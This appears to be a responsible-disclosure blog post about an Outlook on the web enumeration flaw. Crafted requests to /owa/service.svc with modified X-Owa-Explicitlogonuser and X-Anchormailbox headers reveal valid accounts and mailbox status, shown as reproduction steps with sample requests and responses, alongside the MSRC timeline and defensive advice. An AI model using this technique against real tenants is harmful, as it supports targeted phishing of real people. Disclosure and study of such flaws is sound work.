During our research into Microsoft 365 security, we discovered a flaw in Outlook on the web (OWA) that exposed information about users and their mailboxes.
By manipulating certain request headers against the “/owa/service.svc” endpoint, an attacker could not only confirm whether a user account existed, but also determine if that account had a mailbox associated with it. User enumeration isn’t anything new in Microsoft 365, and there are already a number of techniques as Microsoft does not consider user enumeration to be a vulnerability.
Whilst this bug was ultimately classified by Microsoft as Low and having limited impact, it highlights how small inconsistencies in response handling can provide valuable information to attackers.
The Discovery
The issue was found when inspecting traffic from Outlook 365 sessions. Requests to the “/owa/service.svc” endpoint behaved differently depending on the X-Owa-Explicitlogonuser and X-Anchormailbox headers.
By carefully changing these values, we observed measurable differences in the error messages returned to distinguish:
- Valid users vs. non-existent addresses
- Accounts with active mailboxes vs. those without
This kind of information is gold to attackers who rely on precision targeting in phishing (or spearphishing) campaigns.
Reproduction Steps
Step 1 – Login and Capture a Request
Login to Outlook 365 and capture a request made to the “/owa/service.svc” endpoint (for example, using Burp Suite or OWASP ZAP).
You can use any test Microsoft 365 account for this.
Step 2 – Modify Headers
Change the X-Owa-Explicitlogonuser header to another email address.
Below is an example request with the cookies / auth bearers redacted and the request header highlighted.
POST /owa/service.svc HTTP/2
Host: outlook.office.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Action: ValidateUnifiedGroupProperties
Content-Type: application/json; charset=utf-8
X-Owa-Explicitlogonuser: [email protected]
Origin: https://outlook.office.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Authorization: Bearer REDACTED
Priority: u=4
Content-Length: 0
Te: trailersBy monitoring the responses, it was possible to identify which accounts were valid and those that weren’t.. Below are responses you should expect to see based on the email address you entered. You can test this against known email addresses you own and making modification to it. For example, your valid email address might be [email protected] and an invalid email address might be [email protected].
Valid mailbox
Your mailbox isn’t available right now. Please wait 30 seconds and then try to access it again.
Non-existent user
You don’t have permission to open this mailbox.
Step 3 – Mailbox Association Check (Fixed)
To take this a step further, we found that we could use the endpoint with the parameter action=SubscribeToNotification, included and manipulate the following headers:
X-Anchormailbox
X-Owa-ExplicitlogonuserAn example of how this looked is shown below, again with sensitive information redated.
POST /owa/service.svc?action=SubscribeToNotification&app=Groups&n=94 HTTP/2
Host: outlook.office.com
Cookie: REDACTED
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Action: SubscribeToNotification
Content-Type: application/json; charset=utf-8
Ms-Cv: GTl0j2q0qVhPX//f1uVWja.97
Prefer: IdType="ImmutableId", exchange.behavior="IncludeThirdPartyOnlineMeetingProviders"
X-Anchormailbox: [email protected]
X-Owa-Correlationid: 2802977d-ccfe-efaf-b376-5ed975287036
X-Owa-Explicitlogonuser: [email protected]Responses differed based on the mailbox state for the email address entered in the headers above:
Email without mailbox
ErrorInfoThe SMTP address has no mailbox associated with it.
{
"SubscriptionId": "REDACTED",
"SuccessfullyCreated": false,
"ErrorInfo": "The SMTP address has no mailbox associated with it.",
"SubscriptionExists": false
}Email with mailbox
ErrorInfoMailbox does not exist.
{
"SubscriptionId": "REDACTED",
"SuccessfullyCreated": false,
"ErrorInfo": "Mailbox does not exist.",
"SubscriptionExists": false
}Invalid email address
You don't have permission to open this mailbox.Microsoft haven’t acknowledged that these responses have now been modified to prevent identifying which SMTP addresses have mailboxes associated with them, but based on our latest observations (as of the 24th September 2025), these responses appear to have been modified. However, it can still be used to identify valid addresses. Below is an example of the response prior to the response message modification.
{
"SubscriptionId": "gId:redacted;lVT:0;vF:All;acctId:redacted.onmicrosoft.com",
"SuccessfullyCreated": false,
"ErrorInfo": "The SMTP address has no mailbox associated with it.",
"SubscriptionExists": false
}After changes (valid email).
{
"SubscriptionId": "folderId:redacted",
"SuccessfullyCreated": false,
"ErrorInfo": "User has no access rights to the mailbox",
"SubscriptionExists": false
}Invalid email
You don't have permission to open this mailbox.Why It Matters
This vulnerability effectively turned Outlook’s backend into a user enumeration oracle. By scripting these differences, attackers could:
- Build a reliable list of valid accounts within a tenant
- Distinguish accounts with active mailboxes (high-value phishing targets)
- Filter out aliases or distribution groups
That reconnaissance reduces wasted effort and increases the success rate of targeted phishing campaigns.
Microsoft’s Response
We submitted the issue to the Microsoft Security Response Center (MSRC) on July 25, 2025.
Microsoft’s response on August 13, 2025 was:
“After careful investigation, we determined this case does not meet our bar for immediate servicing due to its limited impact and the primary attack vector being social engineering. We have shared the report with the team responsible for maintaining the product or service.”
Further investigation around this issue was conducted on September 24th, 2025 where it was observed that changes to the response messages had been made and it was no longer possible to determine whether supplied addresses had an active mailbox.
Conclusion
Enumeration vulnerabilities often fly under the radar because they don’t grant direct system access. However, in practice, they can be highly valuable to attackers. This Outlook 365 vulnerability shows how differences in error handling can leak important signals about user and mailbox states.
Defenders should assume attackers can harvest valid accounts via such methods and should:
- Monitor authentication logs for unusual patterns
- Apply conditional access and MFA broadly
- Train users to expect and identify sophisticated phishing attempts
Even “low severity” leaks can fuel high-impact attacks when combined with social engineering.
For detailed information on configuring Identity Protection risks and deploying phishing-resistant authentication methods in your environment, refer to the official Microsoft documentation:
- Microsoft Entra ID Protection: concept-identity-protection-risks
- Deploying Phishing-Resistant Passwordless Authentication: how-to-deploy-phishing-resistant-passwordless-authentication
Disclosure Timeline
Date of discovery: July 25, 2025
Reported to MSRC: July 25, 2025
MSRC response: August 13, 2025
Updates to MSRC: September 24, 2025
MSRC Response: September 26, 2025
